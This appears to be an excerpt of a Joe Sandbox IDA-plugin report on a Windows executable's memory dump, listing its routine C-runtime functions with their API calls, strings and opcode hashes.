Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 68ba8a69aff54d0b9f0fbd50740b7dd3015f780c4ae00d10c242c482eec4bd55
Instruction ID: c13605827186a03b9bb991c391f3f0da20cd92570d563a0b972ba924be53c2ff
Opcode Fuzzy Hash: 68ba8a69aff54d0b9f0fbd50740b7dd3015f780c4ae00d10c242c482eec4bd55
Instruction Fuzzy Hash: D2115830F1C24246FB197F719641939E2C29F4C7B0F8446B5D93E077D6EE2CA44296B1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70C8D8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7FA70C903
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7FA70C998
RtlUnwindEx.KERNEL32 ref: 00007FF7FA70C9E7

Strings

f, xrefs: 00007FF7FA70C916
csm, xrefs: 00007FF7FA70C97E

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 752f63a6eb654042196f5a98f7ed0cc27864ab03d65b16a783a14cfa4978e18e
Instruction ID: 3868798d977114ef625c1b49a2d8464b41066c6dacbb9693c4eaa280c04c47f0
Opcode Fuzzy Hash: 752f63a6eb654042196f5a98f7ed0cc27864ab03d65b16a783a14cfa4978e18e
Instruction Fuzzy Hash: 0B51C132A1960286F714EF15E844E2AB795FF48B88F95C170DA6A437C8DF38E941C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA702240 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF7FA70242F), ref: 00007FF7FA702278
DialogBoxIndirectParamW.USER32 ref: 00007FF7FA70233C
DeleteObject.GDI32 ref: 00007FF7FA70236F
DestroyIcon.USER32 ref: 00007FF7FA702381

Strings

Unhandled exception in script, xrefs: 00007FF7FA7022A8

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: c77eb6da1437d11355308ffd2f8c7ab1623b37de00385a783310635bce07de12
Instruction ID: 7f165e5b13d0ff285e59fd44fba30c2b73000fec8bf7927735c19b8aa5bd0c4e
Opcode Fuzzy Hash: c77eb6da1437d11355308ffd2f8c7ab1623b37de00385a783310635bce07de12
Instruction Fuzzy Hash: 6631923261868289FB24EF61E8459F9B3A4FF8C794F804175EA5D4BA95DF3CD140C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA702620 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7FA707774,?,?,?,?,?,?,?,?,?,?,?,00007FF7FA70101D), ref: 00007FF7FA702654

Part of subcall function 00007FF7FA7074E0: GetLastError.KERNEL32(00000000,00007FF7FA70269E,?,?,?,?,?,?,?,?,?,?,?,00007FF7FA70101D), ref: 00007FF7FA707507
Part of subcall function 00007FF7FA7074E0: FormatMessageW.KERNEL32 ref: 00007FF7FA707536

Part of subcall function 00007FF7FA707A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7FA7026FB), ref: 00007FF7FA707A9A

MessageBoxW.USER32 ref: 00007FF7FA702730
MessageBoxA.USER32 ref: 00007FF7FA70274C

Strings

%s%s: %s, xrefs: 00007FF7FA7026AB
Fatal error detected, xrefs: 00007FF7FA702706, 00007FF7FA70273E

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: 7890d9f144e33e33d69a38586b169397518973d2a5b1a440a20cff3164d3e9e8
Instruction ID: b0a3ced74a8d390a573db7de9665230d056ac310385eabd4dd0a27678d2f62cb
Opcode Fuzzy Hash: 7890d9f144e33e33d69a38586b169397518973d2a5b1a440a20cff3164d3e9e8
Instruction Fuzzy Hash: 4D31567262868191F730AF10E8519DAA3A4FF88784FC04076E69D02AD9DF3CD745CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA718910 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7FA718935
GetProcAddress.KERNEL32 ref: 00007FF7FA71894B
FreeLibrary.KERNEL32 ref: 00007FF7FA718972

Strings

mscoree.dll, xrefs: 00007FF7FA71892C
CorExitProcess, xrefs: 00007FF7FA718944

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 1edae9836d644cf3f37344bb8067f5d3e72c30a74e7bf89e7e9475504bb25611
Instruction ID: cc379b8c6457352d825ab44228c9be63468bdccb1121d8119404b963e423e078
Opcode Fuzzy Hash: 1edae9836d644cf3f37344bb8067f5d3e72c30a74e7bf89e7e9475504bb25611
Instruction Fuzzy Hash: 35F04F61A1970281FB10AF24A444B79D3A0EF8D7A2FD40675D57E456E4DF3CE048C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7287D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7FA7287FC
_set_statfp.LIBCMT ref: 00007FF7FA728817
_set_statfp.LIBCMT ref: 00007FF7FA728833
_set_statfp.LIBCMT ref: 00007FF7FA72886F

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction ID: 0f267e8e23ad0e9f5d89023fb6d6a1f274504786b3e9a327a4a803f2f7b6b47e
Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction Fuzzy Hash: 72118F22F28A1305F7543964DC42B75E1C1EF5D364F950BB8E97E062E6DE2EB84189B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71A890 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7FA719AA3,?,?,00000000,00007FF7FA719D3E,?,?,?,?,?,00007FF7FA71221C), ref: 00007FF7FA71A8AF
FlsSetValue.KERNEL32(?,?,?,00007FF7FA719AA3,?,?,00000000,00007FF7FA719D3E,?,?,?,?,?,00007FF7FA71221C), ref: 00007FF7FA71A8CE
FlsSetValue.KERNEL32(?,?,?,00007FF7FA719AA3,?,?,00000000,00007FF7FA719D3E,?,?,?,?,?,00007FF7FA71221C), ref: 00007FF7FA71A8F6
FlsSetValue.KERNEL32(?,?,?,00007FF7FA719AA3,?,?,00000000,00007FF7FA719D3E,?,?,?,?,?,00007FF7FA71221C), ref: 00007FF7FA71A907
FlsSetValue.KERNEL32(?,?,?,00007FF7FA719AA3,?,?,00000000,00007FF7FA719D3E,?,?,?,?,?,00007FF7FA71221C), ref: 00007FF7FA71A918

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: d81834f48909264bda838dde756ddb22990d9c74193f6e2791bbbdf3635560d7
Instruction ID: 944f5521f0f9c4c9005f51668c39749fbf36852d7cbff6213c5ab42bdc1d39ef
Opcode Fuzzy Hash: d81834f48909264bda838dde756ddb22990d9c74193f6e2791bbbdf3635560d7
Instruction Fuzzy Hash: 27115C20F1C70202FB587B759541979E1D15F4C3B0F8946B5E93D067D6EE2CA44292B1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71A724 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F), ref: 00007FF7FA71A735
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F), ref: 00007FF7FA71A754
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F), ref: 00007FF7FA71A77C
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F), ref: 00007FF7FA71A78D
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F), ref: 00007FF7FA71A79E

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: b663ee2d7748b556dbe21a09cdc4f85486e9a2e83ffd86cb08e89169a08f41f4
Instruction ID: 4cc18ade6d1e66d8a66433dcc5b7c7dd1960cccfbae582f4d46243b72a9383ab
Opcode Fuzzy Hash: b663ee2d7748b556dbe21a09cdc4f85486e9a2e83ffd86cb08e89169a08f41f4
Instruction Fuzzy Hash: 0E111824E1C20306FB697E714811D7A92D24F4D774F880BB5D93D0A2D3EE2CB542A2F1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71F1C8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA71F4A7

Part of subcall function 00007FF7FA7254A4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA7254C1

Strings

ccs, xrefs: 00007FF7FA71F3E2
UTF-16LEUNICODE, xrefs: 00007FF7FA71F445
UTF-8, xrefs: 00007FF7FA71F426

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 04f77fab494744c2c515884d2b3c345e4279dac145e4d051e3529eeeffec7512
Instruction ID: 8ec8fee9a9e160b94fcb9b42dc31db7c77c1e8eb4ccf4b669a36f0258dfd7acc
Opcode Fuzzy Hash: 04f77fab494744c2c515884d2b3c345e4279dac145e4d051e3529eeeffec7512
Instruction Fuzzy Hash: F981C472E0C68385F7687F258111A7CB6E4AB1DB64FD580B7CA2D972C5CB2CE90193B1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70E138 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7FA70E184
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7FA70E1D3

Strings

RCC, xrefs: 00007FF7FA70E1A1
MOC, xrefs: 00007FF7FA70E198

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 6cf636c1d413b9b1a8fe847baa594964b2e94e970a9ab49fc3c7a486a408bf4b
Instruction ID: 684514397af0c11fde9e6007f2bc7714f6928dbe4445222b4996a548d78d2e25
Opcode Fuzzy Hash: 6cf636c1d413b9b1a8fe847baa594964b2e94e970a9ab49fc3c7a486a408bf4b
Instruction Fuzzy Hash: BA617C32A08B458AF7109F65D840BADBBA0FB48B88F448275EF5D17B95CB38E055C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70E494 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7FA70E4BC
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7FA70E5A4

Strings

csm, xrefs: 00007FF7FA70E5F6
csm, xrefs: 00007FF7FA70E4DE

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 15a90b008ee0b5328ce42465ae6c6f27eb603fbbd906650bc51354757df09ebd
Instruction ID: 903fb4b10c2f3d043e17668cd75f7a7c2802202aa3a8eca23e6ddc7d5ba6ee74
Opcode Fuzzy Hash: 15a90b008ee0b5328ce42465ae6c6f27eb603fbbd906650bc51354757df09ebd
Instruction Fuzzy Hash: DC51C23290824186FB74AF15A944B79B7A0FB48B88F848175DAAD47BD5CF3CE450CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7024D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FA707A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7FA7026FB), ref: 00007FF7FA707A9A

MessageBoxW.USER32 ref: 00007FF7FA7025DB
MessageBoxA.USER32 ref: 00007FF7FA7025F7

Strings

%s%s: %s, xrefs: 00007FF7FA702556
Fatal error detected, xrefs: 00007FF7FA7025B1, 00007FF7FA7025E9

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: 4ccfa1ca3bcae5acffff1ea197f60ccb63abed4ad3799bdff7ceda7eadf1df34
Instruction ID: eaf00b1cd5f54cbef616885170ada15604bef9dbbd1fcdfc08c791e87bdc9b2a
Opcode Fuzzy Hash: 4ccfa1ca3bcae5acffff1ea197f60ccb63abed4ad3799bdff7ceda7eadf1df34
Instruction Fuzzy Hash: 1031347262868191F720EF14E8519EAA3A4FF88784FC04075E69D47AD9DF3CD745CBA0

Uniqueness
